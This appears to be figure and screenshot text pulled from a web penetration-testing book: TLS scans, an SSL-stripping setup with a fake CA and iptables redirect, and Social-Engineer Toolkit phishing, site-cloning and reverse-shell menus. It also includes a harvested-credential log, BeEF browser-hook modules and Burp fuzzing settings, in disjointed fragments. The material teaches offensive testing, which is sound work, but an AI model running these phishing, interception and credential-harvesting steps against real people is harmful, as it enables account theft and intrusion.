<td>TLSv1.0</td>
<td>112 bits</td>
<td>DES-CBC3-SHA</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.1</td>
<td>128 bits</td>
<td>ECDHE-RSA-AES128-SHA</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.1</td>
<td>128 bits</td>
<td>AES128-SHA</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.1</td>
<td>112 bits</td>
<td>DES-CBC3-SHA</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.2</td>
<td>128 bits</td>
<td>ECDHE-RSA-AES128-GCM-SHA256</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.2</td>
<td>128 bits</td>
<td>ECDHE-RSA-AES128-SHA256</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.2</td>
<td>128 bits</td>
<td>AES128-GCM-SHA256</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.2</td>
<td>128 bits</td>
<td>AES128-SHA256</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.2</td>
<td>128 bits</td>
<td>AES128-SHA</td>
</tr>
<tr>
<td>Accepted</td>
<td>TLSv1.1</td>
<td>112 bits</td>
<td>DES-CBC3-SHA</td>
</tr>
</tbody>
</table>
SCAN RESULTS FOR WWW.EBAY.IN:443 - 124.124.252.18:443

* Compression :  
    Compression Support: Disabled

* Session Renegotiation :  
    Client-initiated Renegotiations: Rejected  
    Secure Renegotiation: Not supported

* Certificate :  
    Validation w/ Mozilla’s CA Store: Certificate is Trusted  
    Hostname Validation: MISMATCH  
    SHA1 Fingerprint: F01A81F9C6C60A1FFB26B477FA36145CE426A4FF9

* Session Resumption :  
    With Session IDs: Partially supported (1 successful, 4 failed, 0 established)

* TLSv1_2 Cipher Suites :  

Preferred Cipher Suite:  
    ECDHE-RSA-AES256-GCM-SHA384 256 bits HTTP 301 Moved Permanently - http://

Accepted Cipher Suite(s):  
    ECDHE-RSA-AES256-SHA384 256 bits HTTP 301 Moved Permanently - http://  
    ECDHE-RSA-AES256-SHA 256 bits HTTP 301 Moved Permanently - http://  
    ECDHE-RSA-AES256-GCM-SHA384 256 bits HTTP 301 Moved Permanently - http://  
    ECDHE-RSA-AES256-GCM-SHA384 256 bits HTTP 301 Moved Permanently - http://  
    AES256-SHA256 256 bits HTTP 301 Moved Permanently - http://  
    AES256-GCM-SHA384 256 bits HTTP 301 Moved Permanently - http://  
    DES-CBC3-SHA 128 bits HTTP 301 Moved Permanently - http://  
    ECDHE-RSA-AES128-SHA256 128 bits HTTP 301 Moved Permanently - http://  
    ECDHE-RSA-AES128-SHA 128 bits HTTP 301 Moved Permanently - http://
```
root@kali-1:~# nmap --script=ssl-enum-ciphers.nse www.google.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-31 00:09 IST
Nmap scan report for www.google.com (216.58.196.68)
Host is up (0.072s latency).
rDNS record for 216.58.196.68: kul01s09-in-f4.1e100.net
Not shown: 598 filtered ports
PORT STATE SERVICE
80/tcp open  http
443/tcp open  https
    ssl-enum-ciphers:
    SSLv3:
        ciphers:
            TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
            TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong
            TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong
            TLS_ECDHE_RSA_WITH_RC4_128_SHA - strong
            TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
            TLS_RSA_WITH_AES_128_CBC_SHA - strong
            TLS_RSA_WITH_AES_256_CBC_SHA - strong
            TLS_RSA_WITH_RC4_128_MD5 - strong
            TLS_RSA_WITH_RC4_128_SHA - strong
```
root@kali-1:~# openssl genrsa -out sslstrip_ca.key 2048
Generating RSA private key, 2048 bit long modulus
................................++++
..............................................................++++
e is 65537 (0x10001)

root@kali-1:~# openssl req -new -x509 -days 1095 -key ca.key -out sslstrip_ca.crt
You are about to be asked to enter information that will be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:IN
State or Province Name (full name) [Some-State]:MH
Locality Name [eg, city] [MUM]:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Fake CA
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

The quieter you become, the more you are able to hear

root@kali-1:~# sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

root@kali-1:~# iptables -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 9443

root@kali-1:~#
Chapter 8: Exploiting the Client Using Attack Frameworks
Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs.

Join us on irc.freenode.net in channel #settoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

Select from the menu:

1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

set> 

Visit: https://www.trustedsec.com

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.

set> 
The Spearphishing module allows you to specially craft email messages and send them to a large (or small) number of people with attached fileformat malicious payloads. If you want to spoof your email address, be sure “Sendmail” is installed (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do everything for you (option 1), the second is to create your own FileFormat payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template

99) Return to Main Menu

1) Windows Reverse TCP Shell back to attacker
2) Windows Meterpreter Reverse_TCP and back to attacker
3) Windows Reverse VNC DLL to attacker
4) Windows Reverse TCP Shell (x64)
5) Windows Meterpreter Reverse_TCP (x64) Inline
6) Windows Shell Bind_TCP (x64)
7) Windows Meterpreter Reverse HTTPS and use Meterpreter

---

*set_config*

### If dsniff is set to on, ettercap will automatically be disabled.

DSNIFF=OFF  

### Auto detection of IP address interface utilizing Google, set this ON if you wish.

AUTO_DETECT=OFF

### SendMail ON or OFF for spoofing email addresses

SENDMAIL=ON

### Email provider list supports GMail, Hotmail, and Yahoo. Simply change it to the one you use.

EMAIL_PROVIDER=GMAIL
Send email to: xyz@gmail.com

1. Use a Gmail account for your email attack.
2. Use your own server or open relay

From address [ex: moos@example.com]: servicedesk@company.com
The FROM NAME user will see: Service Desk
Username for open-relay [blank]: admin
Password for open-relay [blank]:
SMTP email server address (ex. smtp.yourmailservoryouown.com): relay.company.com
Port number for the SMTP server [25]: 25
Flag this message/s as high priority? [yes/no]: yes
root@kali-1:/var/www# cat "harvester_2015-06-28 16:08:12.618859.txt"
 Array
 {
   [lsd] => AVgyAFn6
   [display] =>
   [enable_profile_selector] =>
   [legacy_retum] => 1
   [profile_selector_ids] =>
   [trynum] => 1
   [timezone] =>
   [lgndim] =>
   [lgnrno] => 033805_No-2
   [lgn] => n
   [email] => juned@example.com
   [pass] => password123
   [defaultPersistent] => 0
   [login] =>
 }

root@kali-1:/var/www#

The site https://www.twitter.com has moved, click here to go to the new location.
set:webattack>2
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse l
listener.
set> Are you using NAT/Port Forwarding [yes/no]: yes
set:webattack> IP address to SET web server (this could be your external IP or h
ostname): 201.22.1.45
set:webattack> Is your payload handler [metasploit] on a different IP from your
external NAT/Port FwD address [yes/no]: yes
set:webattack> IP address for the reverse handler (reverse payload): 192.168.1.70
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisasfakesite.com
set:webattack> Enter the url to clone: https://www.twitter.com

Enter the browser exploit you would like to use [8]:

Please wait while the site loads...

http://192.168.1.70/ - Original Source

1  <head><script type="text/javascript" src="source.js"></script></head>
2  <body>
3  Please wait while the site loads...
4  </body>
**Cross-Site Faxing (XSF)**

**Description:** Using Inter-protocol Exploitation/Communication (IPC) the hooked browser will send a message to ActiveFax RAW server socket (3000 by default) on the target specified in the "Target Address" input field. This module can send a FAX to a (premium) faxnumber via the ActiveFax Server.

The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.

| Description | Using Inter-protocol Exploitation/Communication (IPC) the hooked browser will send a message to ActiveFax RAW server socket (3000 by default) on the target specified in the "Target Address" input field. This module can send a FAX to a (premium) faxnumber via the ActiveFax Server. The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet. |

**Target Address:** 192.168.1.90

**Target Port:** 3000

**Name of the receiver:** Jason

**Fax number of the recipient:** +1-299-5836511

**Subject:** FAX through BeEF

**Message:** Message

---

**DNS Lookup**

Back Help Me!

Switch to SOAP Web Service Version of this Page

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP

[Lookup IP](script src="http://192.168.1.1000/lookup.js"></script>)

Results for
Port Scanner

Description: Scan ports in a given hostname, using WebSockets, CORS and ImGTags. It uses the three methods or Same Origin Policy.

Scan IP or Hostname: 192.168.1.22

Specific port(s) to scan: default

Closed port timeout (ms): 1100

Open port timeout (ms): 2500

Delay between requests (ms): 600

Debug: False
Chapter 9: AJAX and Web Services – Security Issues
username | education | certifications

Function calls

JavaScript

Web Browser
AJAX Spider

<table>
<thead>
<tr>
<th>Scope</th>
<th>Options</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number of browser windows to open:</td>
<td>1</td>
</tr>
<tr>
<td>Maximum crawl depth (0 is unlimited):</td>
<td>10</td>
</tr>
<tr>
<td>Maximum crawl states (0 is unlimited):</td>
<td>0</td>
</tr>
<tr>
<td>Maximum duration (min, 0 is unlimited):</td>
<td>60</td>
</tr>
<tr>
<td>Event wait time (ms):</td>
<td>1000</td>
</tr>
<tr>
<td>Reload wait time (ms):</td>
<td>1000</td>
</tr>
</tbody>
</table>

[Image of Firebug UI Location menu]

- Firebug UI Location
- Clear Console
- Show Error Count
- Enable All Panels
- Disable All Panels
- On for All Web Pages
- Clear Activation List

[Image of Chrome Console with new watch expression window open]

- Set Breakpoint
- Edit Breakpoint Condition
Chapter 10: Fuzzing Web Applications
Understanding the protocol

Locating input parameters

Generating interesting data

Monitor and logging

Analysis and exploitation

Injecting the fuzzed data
**Payload Positions**

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for details.

- **Attack type:** Sniper

**GET & HTTP/1.1**
- Host: 192.168.5.70
- User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
- Accept-Language: en-US,en,q=0.5
- Accept-Encoding: gzip, deflate
- Referer: http://192.168.1.70
- Cookie: _utms=91154016.145549759.1,1.1,1.1,1.1,1.1,1.1,1.1,...
- acpendsite=swagset.jtcc.phpbb2.redmine; acgrouper=hyperupest=nada
- Connection: keep-alive

**Payload Sets**

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

- **Payload set:** 1
- **Payload type:** runtime file
- **Payload count:** 50 (approx)

**Payload Options [runtime file]**

This payload type lets you configure a file from which to read payload strings at runtime.

- **Select file:** root/Downloads/data.txt
**Grep - Match**

These settings can be used to flag result items containing specified expressions.

- Flag result items with responses matching these expressions:
  - error
  - exception
  - illegal
  - invalid
  - fail
  - stack
  - access
  - directory
  - file
  - not found

**Add**

Enter a new item

Match type:  
- Simple string
- Regex